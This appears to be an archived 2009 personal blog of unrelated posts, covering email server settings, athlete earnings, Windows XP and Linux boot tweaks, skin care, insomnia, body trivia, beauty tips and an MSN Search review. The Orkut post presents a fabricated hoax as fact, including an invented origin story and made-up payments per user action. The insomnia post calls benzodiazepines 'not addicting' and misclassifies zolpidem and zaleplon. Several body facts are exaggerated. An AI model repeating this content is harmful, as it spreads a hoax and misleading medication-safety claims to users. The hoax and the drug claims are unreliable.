Outgoing Mail Server - smtp.mail.lycos.com or use your local ISP SMTP mail server

AOL Mail Settings
The AOL email service is a web based system, designed for managing your AOL mailbox via HTTP IMAP access. Unlike Hotmail, you can use any email client to access your AOL mailbox, as long as it supports the IMAP protocol.
AOL Incoming Mail Server (IMAP) - imap.aol.com (port 143)
AOL Outgoing Mail Server - smtp.aol.com or use your local ISP SMTP mail server

Mail.com Mail Settings
The Mail.com email service allows you to use POP3 and SMTP servers for accessing your Mail.com mailbox.
Mail.com Mail Incoming Mail Server (POP3) - pop1.mail.com (port 110)
Outgoing Mail Server - use your local ISP SMTP mail server

Netscape Internet Service Mail Settings
The Netscape e-mail system is web-based, which means you can access their e-mail from any Internet connection. Netscape Internet Service also supports AOL® Communicator, Microsoft® Outlook, Microsoft® Outlook Express, and other POP3 e-mail software. The outgoing mail server needs SSL support, so make sure your email client software supports SSL connections over the SMTP protocol.
Netscape Internet Service Incoming Mail Server (POP3) - pop.3.isp.netscape.com (port 110)
Netscape Internet Service Outgoing Mail Server - smtp.isp.netscape.com (port 25, using a secure SSL connection)

Tiscali Mail Settings
The Tiscali email service allows you to use POP3 and SMTP servers for accessing your Tiscali mailbox.
Tiscali Incoming Mail Server (POP3) - pop.tiscali.com (port 110)
Outgoing Mail Server - use your local ISP SMTP mail server

Supanet Mail Settings
The Supanet email service allows you to use POP3 and SMTP servers for accessing your Supanet mailbox.
Supanet Incoming Mail Server (POP3) - pop.supanet.com (port 110)
Outgoing Mail Server - use your local ISP SMTP mail server

If your email client does not support Hotmail as a Mail Service Provider or if it simply doesn't work with your mail server settings, you can use a 3rd party solution like Hotmail Popper, IzyMail, POP Peeper or Email2Pop. When using such tools, you should define your Hotmail account as a POP3 account and you will need to define your incoming mail server will as 'localhost' (or 127.0.0.1).

World´s 15 Most Highest-Paid Sportsmen

2009-06-22T20:41:00.015+05:30

Woods has earned almost $900 million in prize money, endorsements and appearance fees during his 13-year professional golf career and next year is poised to become the first athlete to earn $1 billion during a career. Woods racked up more than twice the earnings of any other athlete over the past 12 months despite being sidelined for eight months after knee surgery thanks to lucrative endorsement deals with Accenture, Gillette and Nike as well as a thriving golf course design business.

Bryant secured his place among the NBA´s all-time greats when he won his fourth NBA title with the Los Angeles Lakers in June. The Black MambaÂ´s popularity is at its zenith as his No. 24 jersey is the top seller in the U.S., Europe and China. Bryant pads his $21 million Lakers salary through endorsement deals with Nike, Upper Deck, Activision and VitaminWater.

MJ retired as a player for the third and presumably final time six years ago, but he is still the most famous athlete in the United States. The Jordan Brand is approaching $1 billion in sales for Nike which turned Jordan into a marketing phenomenon. Jordan is on the short list of potential buyers for the Charlotte Bobcats where he is head of basketball operations and a minority owner.

Formula One´s highest-paid driver finished a disappointing third in the World Championship standings last year after winning the title in 2007. This year has been even worse for the Iceman who sits in 10th place in the current standings. Ferrari resigned Raikkonen in September to a one-year contract extension keeping the Finn behind the wheel for Ferrari through 2010.

Becks is far from the best player on the pitch, but he is still the most famous which is why companies like Adidas, Giorgio Armani and Motorola pay him millions for his endorsement. Beckham spent five months on loan this year playing for AC Milan before his planned return to play for the Los Angeles Galaxy in July when the MLS season is half over.

The NBA´s MVP led the Cleveland Cavaliers to the league´s best record and had a playoff performance for the ages this year, but his team was bounced from the playoffs by the Orlando Magic in the Conference Finals. His free agency next summer has teams maneuvering to get under the salary cap in hopes of signing King James. The Cavs can offer the biggest contract under NBA salary rules, but James might go in search of a bigger market.

Playing second fiddle to Tiger Woods has proven very lucrative for the world´s second-ranked player. His most lucrative deal is with Callaway, which signed Mickelson to a five-year extension this year. Other sponsors include Barclay´s, Exxon, KPMG and Rolex. Mickelson has won $54 million in prize money during his career, third all-time behind Woods and Vijay Singh.

Pac-Man hogged the boxing spotlight over the past year with victories in two blockbuster fights against Oscar De La Hoya in December and Ricky Hatton in March that combined generated more than $100 million in pay-per-view revenue in the U.S. A member of Time magazine´s 100 Most Influential People, Pacquiao plans to run for political office when his days in the ring are over.

The Doctor won his eighth World Championship in 2008 after two straight years of falling short of the title. The biggest star in motorcycle racing earns $16 million annually from his contract to ride for Yamaha and his earnings more than double when you count licensing income, bonuses and endorsement deals with the likes of energy drink Monster.

Earnhardt was chosen as Nascar´s most popular driver for a sixth straight year in 2008 despite winning only one race during the past two seasons. His merchandise sales were twice the total of any other driver. EarnhardtÂ´s biggest personal sponsorship deals are with Adidas, Chevrolet, Polaris, Wrangler and Nationwide Insurance, which he added this year.

Federer cemented his position as the greatest tennis player ever when he won his 14th Grand Slam title and completed a career Grand Slam by winning the French Open this month. Federer also passed Pete Sampras in October to become the all-time leader in career prize money and has earned $48 million since turning pro in 1998.

Shaq experienced a renaissance on the court this year returning to the All-Star game where he shared the MVP Award with former teammate and nemesis Kobe Bryant. Off-the-court Shaq continues to pile up sales of his low-cost Shaq and Dunkman brands of shoes, which now top 75 million pairs since he launched the first line in 1996. Shaq has reached a new audience through Twitter where he has 1.2 million followers.

Boxing´s Golden Boy hung up his gloves after one last mega-fight in December against Manny Pacquiao that earned De La Hoya $30 million. He retires with the record for all-time pay-per-view buys of 14.1 million and PPV revenue of $696 million.

Hamilton is often compared to Tiger Woods for his breakout performance at an early age as a black athlete in a predominantly white sport. Hamilton won the 2008 Formula One World Championship by a single point and became the youngest driver to win the title at 23. Last summer, Reebok inked Hamilton to a multimillion- dollar deal to be a "global brand ambassador."

A-Rod earns little off the field these days but makes the cut thanks to his historic 10-year, $275 million contract he signed with the Yankees after the 2007 season. The deal paid A-Rod $27 million last year and is worth $32 million this season. He also got $1 million in January as part of the $10 million signing bonus in the deal.

Boot Winxp Fast

2009-06-18T09:46:00.002+05:30

Boot Winxp Fast

Follow the following steps

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\

2. From the Start menu, select "Run..." & type "gpedit.msc".

3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.

4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".

5. Click "OK", "Apply" & "OK" once again to exit.

6. From the Start menu, select "Run..." & type "devmgmt.msc".

7. Double click on "IDE ATA/ATAPI controllers"

8. Right click on "Primary IDE Channel" and select "Properties".

9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".

10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.

11. and finally, Reboot your computer.

Enjoy Hacking!!

Tweak your Linux Boot Process

2009-06-18T09:37:00.004+05:30

Linux rarely needs to be rebooted. But when it does, it’s often slow to boot. Fortunately, there are ways to speed things up. Some of these methods are not terribly difficult. (although some, unfortunately, are). Let’s take a look.

1: Disable unnecessary services
Depending upon the use of the machine, plenty of services won’t be needed. Using Linux just for a desktop? Then you won’t need sendmail, httpd, and many other services. If your server is only a web server, you can shut off many services as well. To do this, you can go to the Administration menu and take a look at the Services entry. Just deselect all of the services you don’t want to start.

2: Disable unnecessary kernel modules
If your desktop is wired to the Ethernet, you don’t need to have a wireless kernel module loaded. This task is a bit more difficult and will require a kernel recompilation, which is not the easiest task to undertake. To do this, you will need the kernel sources. Then, follow the standard steps for compiling a kernel. The difference is that you’re going to go through your system and disable all of the modules you don’t need.

The best way to find out what kernel modules currently install and run on your system is to install Bootchart. Not only will this give you a good list of modules, it will illustrate for you what is happening during your system boot. You can also issue the command chkconfig –list | grep 3:on to find out what services are running. Once you know what loading modules you don’t need, you can remove them during a kernel recompilation. While you’re at it, compile the kernel to exactly match your architecture.

3: Use a lightweight window manager instead of GNOME or KDE
I plug smaller footprint window managers for a reason — they drastically reduce graphical boot time. Instead of having to wait that extra 30 to 60 seconds for GNOME or KDE to boot up, why not wait two to 10 seconds for Enlightenment or XFCE to boot up? Not only will they save you boot time, they will save your memory and the headache of dealing with bloatware.

4: Use a text-based login instead of a graphical login
Most of my Linux machines boot to run level 3 instead of run level 5. This will halt at the text-based login, where I only have to log in and issue startx to start my desktop of choice. The graphical logins do two things: increase load times and create headaches trying to recover from an X windows fubar.

5: Use a lighter-weight distribution
Instead of loading the heavyweight Fedora, why not try a Gentoo, Arch, or Puppy Linux? The boot times for these smaller distributions are far faster than the more bloated Fedora (and even Ubuntu). Of the larger distributions, OpenSuSE claims to boot the fastest, but I have not personally tested this. Between the latest Fedora and Ubuntu, Ubuntu blows Fedora’s boot times away (and that is out of the box).

6: Use an OpenBIOS
If you’re savvy enough to upgrade your PC’s firmware, you might consider migrating to an open source BIOS. One caveat to using open firmware is that it allows Linux to actually initialize the hardware as it boots (instead of relying on the BIOS). On top of that, many open BIOSes can be configured to meet your machine’s specific needs. If you don’t go the open BIOS route, you can at least configure your BIOS to not search for a floppy drive that’s not there or to boot directly to the first hard drive (instead of the CD drive first).

7: Avoid dhcp
If you are working on a home network (or a small business network) where address lease isn’t a problem, go with static IP addresses. This will keep your machine from having to call out to a dhcp server to get an IP address. If you take this approach, make sure you configure your /etc/resolve.conf to reflect your DNS server addresses as well.

8: If you can spare it, get rid of hotplug
Hotplug is the system that allows you to plug in new devices and use them immediately. If you know your server won’t need this system, delete it. This will cut down on boot time. On many systems, hotplugging consumes much of the boot time. Removing hotplug will vary depending upon the distribution you use. NOTE: udev has, for the most part, replaced hotplug. But if you’re running an older distribution, this does apply.

9: If you are REALLY daring, you could give initng a try
The initng system serves as a replacement for the sysvinit system and promises to drastically decrease boot times in UNIX-like operating systems. If you would like to see the initng system in action, you can give the Pingwinek livecd a try.

10: Use a hack with Debian
If you’re using Debian, there is a simple hack you can use to switch your startup scripts to run in parallel. If you look at the /etc/init.d/rc script, you will see: CONCURRENCY=none around line 24. Change this line to CONCURRENCY=shell and you should see a reduction in boot times.

That’s about it. Of course there are always more and better hacks out there. But the above should mostly cover everything. The good news is that you’re most likely already running Linux, so the burden of boot times is generally eased by the infrequency of reboots.

Skin Care for Men

2009-06-16T13:58:00.002+05:30

Testosterone causes men to have thicker skin, which means that it tends to sag and wrinkle less and is a more effective barrier against environmental irritants and bacteria. Not only do women have thinner skin, but their oil glands produce slightly less oil than men’s, which means they have less “natural” moisturizer. Men usually shave their faces, which exfoliates the dead cells and lessens the appearance of wrinkles. On the down side, for many men shaving is an abrasive experience and can account for the roughening of the skin along the jaw line and cheeks.Regardless of the inherent advantages that men have when it comes to their skin, a daily skin care regime can work wonders to maintain a vigorous, youthful appearance (that testosterone doesn’t last forever, guys). Skin care for men is remarkably similar to that for women. You will want to clean your skin every day, apply toner and moisturize your skin. And always use sun block, at least SPF 15.

Protect Your Skin

Sun is damaging to the appearance and health of your skin, and even those of you who spend a total of five minutes in the sun per day-getting in and out of your car, for instance-will want to heed the following tips. Always use an SPF 15 sunscreen and apply it everywhere the sun’s rays might touch you: ears, the back of your neck, and bald areas of your scalp. If you’re sweating or swimming, apply it at least once an hour. Wear tightly-woven clothing to prevent the sun from penetrating the fabric and getting to your skin.

Sunburns

If that week-long beach volleyball tournament has left you with sun-reddened, throbbing, blistered skin, there are a few things you can do to lessen your discomfort. Apply aloe vera to burned areas to moisturize and promote healing; chamomile steeped in water can help to relieve the sting; calamine lotion will lessen the itching; cool compresses, baths, and showers will sooth your skin, and adding vinegar or cooked oatmeal to your bath water will reduce the sting. Starchy, liquefied raw potatoes applied directly to the sunburned areas will also lessen the pain, but make sure that you wait until the mixture dries completely before you rinse it off to reap the full benefits.

Acne

Acne is a problem for many men. Thick skin and active oil glands can cause everything from the occasional blemish to full-blown acne. Men’s acne treatment is similar to women’s, but the products tend to be a little more concentrated. Our Baking Soda Scrub recipe (below) is non-irritating and will sooth and gently exfoliate your skin. For other tips and recipes to treat acne, go to Acne Prone Skin Care.

Baking Soda Scrub

Wet your face with warm water. Apply 1 tbsp. baking soda to dampened skin, massaging gently but thoroughly all over the face (including behind the ears). Rinse carefully removing all the baking soda, and repeat the process. Dry your face, apply toner and sun block.

Tumhe nahi khabar, hamne kya kya na dekha hai

2009-06-16T12:44:00.002+05:30

Thujhe nahi khabar, hamne kya kya na dekha tere liye!!

Apno ko begaane hote dekha hai,
Riste - naato ko marte dekha hai,
jajbaatoin ko suli chadhte dekha hai,
Be-khauf dil ko darte dekha hai,
Andheri raatoin me aansuon ko chupchap nikalte dekha hai,
Teri Bewafa mohabbat ko sir pe chadhte dekha hai,
Hare-Bhare Khalihaano ko ujadte dekha hai,
Dard daba kar khud ko nange paawn chalte dekha hai,
Chandni raatoin me maan ko girte sambhalte dekha hai,
Teri jhuthi mohabbat pe, hazaro baar khud ko yakin karte dekha hai,
Ye jaante hue bhi ki Chaand aasman ki sampati hai,
Apni umeedon ko har roz jeete marte dekha hai,
Tumhe nahi khabar, hamne kya kya na dekha hai.

Manjit Raj

ORKUT BUYUKKOTEN

2009-06-15T22:26:00.002+05:30

A guy lost his girlfriend in a train accident, but the gal's name nowhere appeared in the dead list. This guy grew up and became IT technical architect in his late 20s, achievement in itself!!
He hired developers from the whole globe and plan to make a software where he could search for his girl friend through the web.
Things went as planned and he found her, after losing millions of dollars and 3 long years!! It was time to shut down the search operation, when the CEO of Google had a
word with this guy n took over this application, This Software made a whopping 1 billion dollars profit in its first year, which we today know as ORKUT.

The guy's name is ORKUT BUYUKKOTEN Yes its named after him only. Today he is paid a hefty sum by Google for the things we do like scrapping. He is expected to be the richest person by 2009. ORKUT BUYUKKOTEN today has 13 assistants to monitor his scrapbook & 8 to monitor his friends-list. He gets around 20,000 friend-requests a day & about 85,000 scraps!

Some other Cool Facts about this guy:

* He gets $12 from Google when every person registers to this website.
* He also gets $10 when you add somebody as a friend.
* He gets $8 when your friend's friend adds you as a friend & gets $6 if
anybody adds you as friend in the resulting chain.
* He gets $5 when you scrap somebody & $4 when somebody scraps you.
* He also gets $200 for each photograph you upload on Orkut.
* He gets $2.5 when you add your friend in the crush-list or in the hot-list.
* He gets $2 when you become somebody's fan.
* He gets $1.5 when somebody else becomes your fan.
* He even gets $1 every time you logout of Orkut.
* He gets $0.5 every time you just change your profile-photograph.
* He also gets $0.5 every time you read your friend's scrap-book & $0.5 every time
you view your friend's friend-list.

Short forms in business communication

2009-06-14T01:00:00.000+05:30

Below are some frequently used short forms in business communication like e-mails, faxes and letters:

a.k.a. - also known as

approx. - approximately

ASAP - as soon as possible

Attn. - for the attention of

eg; Her boss replied, "Just write 'Attn: Ms. Christine Jalleh'. She'll know what to do with it."

Bcc. - blind carbon copy or blind copy to. In this case, the carbon copy is sent to an e-mail recipient whose e-mail address is not visible to the cc or other bcc recipients.

Cc. - carbon copy, or copy to

c/o - in care of, used when sending a document to A who will receive it on B's behalf because B is away from the office.

COD - cash on delivery, where a person makes payment for an item purchase after it has been delivered.

e.g. - exempli gratia (for example)

et al. - et alii (and others). Usually used to list co-authors after the lead author in a bibliography, this form is now popularly used to address the other people other than the recipient in e-mails.

eg; She received a new e-mail, which read, "Dear Pee Jay et al., I was reminded that the boss does NOT like surprises ..."

etc. - et cetera (and so on OR and so forth)

exc. - except

FYI - for your information

FYA - for your action

eg; "Note that some of these e-mails are FYA ..."

i.e. - id est (that is)

K - thousand, e.g. 450K = 450,000

PA - personal assistant

p.a. - per annum (per year)

p.p. - per pro (used when signing a document on someone's behalf)

Pto. - please turn over, used at the end of a page to indicate that there is a continuity to the text.

viz. - videlicet, namely

Insomnia

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Insomnia is a general term that refers to difficulty falling or staying asleep. It’s not really a disorder, but a symptom with many causes. We all have occasional sleepless nights, and insomnia that sticks around for just a day or two isn’t much of a problem, but if you have it for longer periods, you’re likely to pay a high price. Research has shown that people who have frequent insomnia are four times more likely to suffer from depression than people who sleep soundly. You’re also more likely to underperform at work and have difficult family relationships. More frightening, you could really hurt yourself (or your loved ones): The US National Highway Traffic Safety Administration reports that insufficient sleep contributes to more than 100,000 car crashes annually.

It’s hard to define insomnia because everyone requires different amounts of sleep. The bottom line, sleep experts say, is how you feel the next day. If you frequently wake up feeling dull and unrefreshed—either because it took you forever to fall asleep or you woke repeatedly at night or got up too early—there’s a good chance that insomnia is taking its toll.

Who is at risk for insomnia?

Most insomnia is triggered by temporary upsets—emotional stress, for example, or flare-ups of arthritis or other painful conditions. Once your life returns to normal, the quality of your sleep probably will, too, but sometimes it doesn’t work that way. Some people get so frustrated when they can’t sleep that they continue to feel anxious after the original problem is long gone. This can result in long-term, or chronic, insomnia—disturbed sleep at least three times a week for a month or more.

Treatment for insomnia

Your doctor will most likely take a three-pronged approach to exploring the causes of your insomnia. The first step is to identify—and correct—any underlying physical or emotional problems that may be keeping you awake. After that, you’ll probably be asked to make a few lifestyle changes to promote better sleep. Finally, you may be given over-the-counter or prescription drugs to break the “insomnia cycle” and help you get some much-needed rest.

Medications for insomnia

Good sleep habits are the best way to overcome insomnia in the long run. But when you need fast relief, your doctor may recommend over-the-counter or prescription drugs. These might include:

OTC antihistamines. Two popular ones, diphenhydramine (Benadryl) and chlorpheniramine (Chlor-Trimeton) act as mild sedatives and are very effective for occasional sleepless nights.
Analgesics. Aspirin, ibuprofen (Advil), naproxen (Aleve), or acetaminophen (Tylenol) often relieve sleep-disturbing pain.
Prescription sleeping pills. Also called hypnotics, those commonly recommended for insomnia usually belong to a chemical family known as benzodiazepines. They’re extremely effective and can be taken for months without losing their potency. They sometimes can be habit-forming, although not addicting. If you have trouble sleeping through the night, your doctor might recommend a long-acting benzodiazepine, such as flurazepam (Dalmane) or clonazepam (Klonopin). If your main problem is falling asleep, or if you tend to wake up very early in the morning, you might need a shorter-acting benzodiazepine, such as zolpidem tartrate (Ambien), triazolam (Halcion), alprazolam (Xanax), or zaleplon (Sonata). Any of these will help you fall asleep, but are unlikely to cause a “hangover” the next day.
Antidepressants. These medicines are sometimes used to treat insomnia-caused depression. Some, such as amitriptyline (Elavil) and trazodone (Desyrel), cause drowsiness.

Caution: Consult your doctor before taking medicine.

Lifestyle Changes

Whether you’ve battled insomnia for years or are experiencing it for the first time, the best place to start is with what doctors call “good sleep hygiene,“ habits that naturally promote better sleep. An hour before your usual bedtime, for example, get into a relaxing routine. Read or listen to soothing music. Avoid stressful activities, such as paying bills or completing work projects. Consider taking a hot bath. Your core body temperature will rise, then fall. That will help you fall asleep more readily—and stay asleep. Don’t take a bath just before bed, however, because it will temporarily increase blood flow and make you more alert.

Maintain regular sleep habits. Go to bed and get up at the same times every day, even on weekends. And go easy on the naps. They’re fine for catching up on occasional missed sleep, but napping regularly makes it harder to maintain a consistent sleep schedule.

A crucial part of sleep hygiene is to keep stress out of your bedroom. Limit what you do in bed to sleep or sex. Don’t use the room as a second study. If you do, you’ll start to associate going to bed with stress and anxiety. For the same reason, leave the bedroom when insomnia strikes. If you’re going to be frustrated because you can’t sleep, fret in the living room or kitchen. Go to bed only when you think you’re really ready to fall asleep.

Two additional things: Shut out bright light and noise. Install heavy curtains or blinds if you need to. Earplugs will block external sounds, or you can mask noises by running a fan, setting the radio to the fuzz between stations, or using a white noise machine.

Your daytime habits are just as important for beating insomnia as what you do at night. Don’t drink caffeinated beverages after about noon. Limit your alcohol consumption to one or two drinks in the evening. Alcohol can make it easier to fall asleep, but it causes more frequent nighttime awakenings.

Exercise is another key strategy for achieving better sleep. It tires you out and lowers levels of sleep-disrupting stress hormones. Just be sure to work out at least three hours before you turn in.

Another traditional remedy for insomnia is drinking a glass of warm milk, and there’s good evidence that it works. Milk helps prevent hunger from disturbing your sleep; it also contains an amino acid called tryptophan, which is converted in the brain into a “relaxing” chemical known as serotonin. Once you’re in bed, try progressive muscle relaxation, a technique that involves tensing, then releasing all the muscles in your body. Start at your feet and move toward your head.

Finally, try to get a handle on the stressors in your life. If you’re in the throes of anxiety, it’s harder to fall asleep and sleep soundly. Some of the best stress-beating activities include yoga, meditation, and listening to soothing audiotapes.

Related Procedures for Insomnia
Your doctor can probably recognize—and treat—many of the common causes of your insomnia. Some conditions, however, can only be detected if you spend one or more nights in a sleep laboratory. Don’t let the name scare you. Sleep labs are like comfortable hotel rooms—except instead of a mini-bar by the bed, you’ll see devices that measure everything from heart rate to brain waves and breathing patterns.

You’ll arrive at the sleep lab about an hour before your usual bedtime. A technician will attach electrodes and other external monitoring devices to your body. Then it’s lights out. The test will show how much (or how little) you sleep and whether you spend enough time in “deep” sleep. It will also pinpoint physical problems that interfere with normal sleep, such as sleep apnea, limb movements, or a curious condition called “sleep state misperception,” which means that you feel you’re getting less sleep than you actually are. Treatment can be tailored to your specific problem.

Alternative Therapies for Insomnia

Certain herbs have been used for centuries to ease insomnia. Valerian, a natural herbal tranquilizer, works best when rotated with other sleep-inducing herbs. Chamomile is a sweet-tasting herb that depresses the central nervous system the way antianxiety drugs do. Lemon balm (also known as melissa) has a citrusy aroma; its leaves are the plant’s medicinal part.

Questions for Your Doctor

Do you think I might have sleep apnea or another sleep disorder?
Could my insomnia be related to the depression I’ve been experiencing lately?
Is there a way you can tell whether post-traumatic stress syndrome is what’s keeping me awake at night?
I seem to have more insomnia now that I’m going through menopause. Would HRT be good for me?
Living with Insomnia
If you are suffering with Insomnia, here are a few tips to help you take control:

Start a sleep diary. A 10-day summary of your sleep habits can give you valuable clues about what’s happening. Record when you go to bed, how long it takes you to fall asleep, how often you wake at night, how you feel the next day, and so on. Then pass this information along to your doctor.
Avoid kava, a popular sleep-inducing herb. Recent reports suggest that overuse could cause liver damage.
Limit your ZZZs at first. Some experts advise starting with only four hours of sleep—say 3 am to 7 am. Once you’re sleeping well during these hours, add another 15 to 30 minutes to either end or both—and keep adding time until you’re getting the sleep you need.
Eat tofu or other soy foods daily. They’re rich in estrogen-like compounds called phytoestrogens. Women who regularly eat them are less likely to experience menopausal hot flashes or other sleep-disrupting symptoms.
Take care with sleeping pills. The short-term use of sleeping pills—often up to a month—is very safe for most people. But there are some exceptions. Watch out if you drink: Combining the pills with alcohol intensifies the effects of each. If you’re elderly or get up a lot at night, sleeping pills may increase your risk of falls or other accidents. The drugs may increase sleep-related breathing problems by depressing the vital “breathing center” in your brain.

Amazing Facts About The Human Body

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1. The stomach's digestive acids are strong enough to dissolve zinc. Fortunately for us, the cells in the stomach lining renew so quickly that the acids don't have time to dissolve it.

2. The lungs contain over 300,000 million capillaries (tiny blood vessels). If they were laid end to end, they would stretch 2400km (1500 miles).

3. A man's testicles manufacture 10 million new sperm cells each day - enough that he could repopulate the entire planet in only 6 months!

4. Human bone is as strong as granite in supporting weight.. A block of bone the size of a matchbox can support 9 tonnes - that is four times as much as concrete can support.

5. Each finger and toenail takes six months to grow from base to tip.

6. The largest organ in the body is the skin. In an adult man it covers about 1.9m2 (20sq ft). The skin constantly flakes away - in a lifetime each person sheds around 18kg (40 lb) of skin.

7. When you sleep, you grow by about 8mm (0.3in). The next day you shrink back to your former height. The reason is that your cartilage discs are squeezed like sponges by the force of gravity when you stand or sit.

8. The average person in the west eats 50 tonnes of food and drinks 50,000 litres (11,000 gallons) of liquid during his life.

9. Each kidney contains 1 million individual filters. They filter an average of around 1.3 litres (2.2 pints) of blood per minute and expel up to 1.4 litres (2.5 pints) a day of urine.

10. The focusing muscles of the eyes move around 100,000 times a day. To give your leg muscles the same workout, you would need to walk 80km (50 miles) every day.

11. In 30 minutes, the average body gives off enough heat (combined) to bring a half gallon of water to boil.

12. A single human blood cell takes only 60 seconds to make a complete circuit of the body.

13. A foreskin, the size of a postage stamp, from circumcised babies take only 21 days to grow skin that can cover three (3) basketball courts. Amazing isn't it. Thanks to science. The laboratory-grown skin is used in treating burn patients.

14. The eyes receive approximately 90 percent of all our information, making us basically visual creatures.

15. The female ovaries contain nearly half-a-million egg cells, yet only 400 or so will ever get the opportunity to create a new life.

Sources

Some New Technology never stops!!!

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Nokia 888 mobile phone

mp3 player

laptops

Cell Phone

Beauty Tips for women

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Beauty Tips..

Women who wear make-up should carry out a routine of cleansing, toning and moisturing each evening, as well as washing the face in the morning. Cleansing will remove old make-up and the grime and grease that have been accumulated during the day.

Eyes Right

If eyes are the window to your soul, make sure they stand out. Instead of applying that same jet black liquid eye liner on the upper lid of the eye, try something different. Invest in a dark blue eye pencil and line your eyes all around with it.

Water Water

Want to lose weight but just can't seem to stop eating? Try drinking at least 2 glasses of water before your meal. Drinking subdues the appetite and tricks your stomach into feeling satisfied with less. You're definitely not starving yourself, and neither are you overeating. Perfect, isn't it?

Steamin'

Steam your face once a week to open pores, so it can be cleansed more effectively. Add a few herbs like basil (tulsi) for extra advantage. Don't steam face directly over the burning stove - too hot! Instead, remove the boiling water from the stove and form a tent with your towel

OOOO..!

Though you can't prevent those tiny lines from forming around your mouth and eyes, you can certainly delay their onset. Try this simple exercise. Stretch your mouth into a wide grin and say 'eee' and then into a circle saying 'ooo'. Oh, and do this in the privacy of your room if you don't want to be shipped to the funny farm.

Soft And Silky

For a deep, moisturising skin treatment apply olive oil to your skin once a week. Let it soak in while you take a steamy shower, and blot out the excess with a tissue.

You Better Not Pout..!

Lipstick applied to dry lips does not last long. Moisturise lips with lip balm or Vaseline and let it get absorbed before applying lipstick. For a final touch, add a bit of glitter to lips. It's dynamite, but do keep it subtle!

Cheating Mother Nature

The general rule of thumb is that light colours bring things forwards, while dark colours make them recede. So hide that prominent jawbone by brushing a dark shade over it. You could also brush a dark colour in the hollow of your chin for a flirtatious cleft! Who said you needed plastic surgery?

Ice Ice!!

Keep skin looking young and fresh by splashing your face with ice-cold water.. This rejuvenates the skin and delays the onset of wrinkles. (Don't try this if you are prone to broken capillaries. )

Lime N' Lemony

For a great shine to hair, squeeze the juice of one lemon into a mug of water and give your hair a final rinse with this mixture, after shampooing. You could also use a tablespoon of vinegar instead of a lemon.

AND SO TO BED

Never, ever go to sleep without washing off your make-up. That's a surefire step to a disastrous complexion.

Fun In The Sun

The sun's warmth may make you feel good but it's ultraviolet rays over time cause at best, dry wrinkly skin and at worst, skin cancer. Don't step out without loading on that sunscreen. In the summers, avoid stepping out between 12:00 to 2:00 when the sun is at its peak.

Blackheads

To remove blackheads, steam for 5 mins and exfoliate immediately.

Shiny & Strong Hairs

To make your hair shiny and strong, after taking a shower apply olive oil into damp hair. It will make your hair shiny and much stronger.

Eye Makeup

Use foundation on your eyelids before applying eyeshadow. It helps the eyeshadow stay on longer.

acne prone skin

Use a gentle soap like Dove for acne prone skin. It makes your skin a lot less oily because its PH balanced.

Clay Mask

A Clay Mask works wonders on oily skin!

eyelash curler

Use a hair dryer for a few seconds on your eyelash curler.

remove stubborn eye makeup

Use petroleum jelly or cold cream to remove stubborn eye makeup. its cheap and it works (even on waterproof mascara).

remove stubborn eye makeup

Use petroleum jelly or cold cream to remove stubborn eye makeup. its cheap and it works (even on waterproof mascara).

blotting oily skin

Instead of buying expensive oil blotter papers, buy a box of perm papers. Very cheap and works great for blotting oily skin.

reduce redness

Spray your face with cold water or stand with your head in the air from the freezer for a few moments to reduce redness.

lighter shades of eyeliner

Line deep set eyes with lighter shades of eyeliner to emphasize them!

Nothing ages a person more than worry. Try to be positive and love every day as a new adventure and get joy from all the little things (so many cost nothing). Drink 8 glasses of water a day and use a moisturiser.

Keep lashes smooth

Keep lashes smooth and supple by brushing them with petroleum jelly before going to bed at night. It is also a good way to emphasize natural-looking lashes in the daytime.

Lips

Apply carmex on your lips before putting on lipgloss or lipstick, it helps it stay on longer, keep it moisturized, and sometimes makes your lips "juicier" looking.

MSN is Back.

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After months of speculation and two "preview" releases, Microsoft has taken the wraps off of its new MSN search engine, the first major competitor to join the big leagues of web search in nearly a year.
The new engine, available at beta.search. msn.com is an algorithmic search engine built from scratch by Microsoft engineers. "This is our new engine that we've built from the ground up," said Justin Osmer, product manager for MSN Search. Released in beta form, it's expected to replace Yahoo search results still in place at MSN sometime later this year or early next year.

Supported by an index of 5 billion pages, the new engine is comparable to Google and Yahoo in scope, and for most of my initial tests, in relevancy as well. Microsoft has acknowledged that being "as good as" its competitors is merely the price of entry to the web search game these days.

The interface is clean and sparse, as are search result pages. MSN Search is now offering cached links to the copies of pages that its crawler fetched. Notably, for some pages, a date is also displayed next to the "cache" link. Microsoft says that this date is an estimate of when the page last changed. In many cases, this is also the date the page was crawled. You can see the crawl date for all pages by clicking through to the cached version of the page.

Osmer says that a comprehensive crawling effort is central to the success of MSN Search. MSN's crawling some pages daily, some weekly and some monthly, "which we believe is more frequently than some of our competitors out there," says Osmer.

New and Different Features
To set itself apart from the pack, the new MSN Search includes some features that differ from those found on Google, Yahoo and Ask Jeeves. The most prominent difference is the "Near Me" button appearing next to the "Search" button. Clicking the Near Me button effectively runs a local search for your query. In this release, the Near Me feature works only for searchers located in the U.S.

By default, your browser's IP address is used to determine your location. You can override this by explicitly entering your current location using the Settings command. The "Near Me" function works quite well, primarily because Microsoft has tagged every web page in its index that has geographic information, using what the company calls an "overlapping tiles model," starting with zip code, then including neighborhood, region, city, state and country information if available.

MSN Search also now incorporates additional non-web sources of information in results on a query-specific basis. For example, queries for factual information get "direct answers" from Microsoft's Encarta encyclopedia. For music-related queries, inline results from MSN Music are included, with a link to further information, downloads and so on.

Microsoft is also offering an interesting hybrid approach to customization and advanced search. Clicking the Search Builder link opens up a window beneath the search form that provides explicit controls over many of your query variables. Most of these controls are similar to those hidden away on the advanced search page of other search engines. Having them available from any search form is a nice touch that should encourage more use of these refinement tools.

"The point is trying to allow the average person to be able to build relatively complex queries relatively easily," said Osmer.

The first allows you to easily modify your query by adding terms or an exact phrase, or excluding terms from the search. You can also limit your search by domain, country or region or language, or to pages that link to a particular URL. Search Builder automatically formats your query with the appropriate syntax, even nesting queries in parenthesis when appropriate.

The final refinement tool is the coolest feature of the new MSN Search, allowing you to control result ranking using sliders. There are three sliders available. One lets you select the degree of match between your search terms and result pages, from an exact match to an approximate match. The second lets you specify page popularity, from very popular to less popular. The final slider controls freshness of results, from updated recently to static pages.

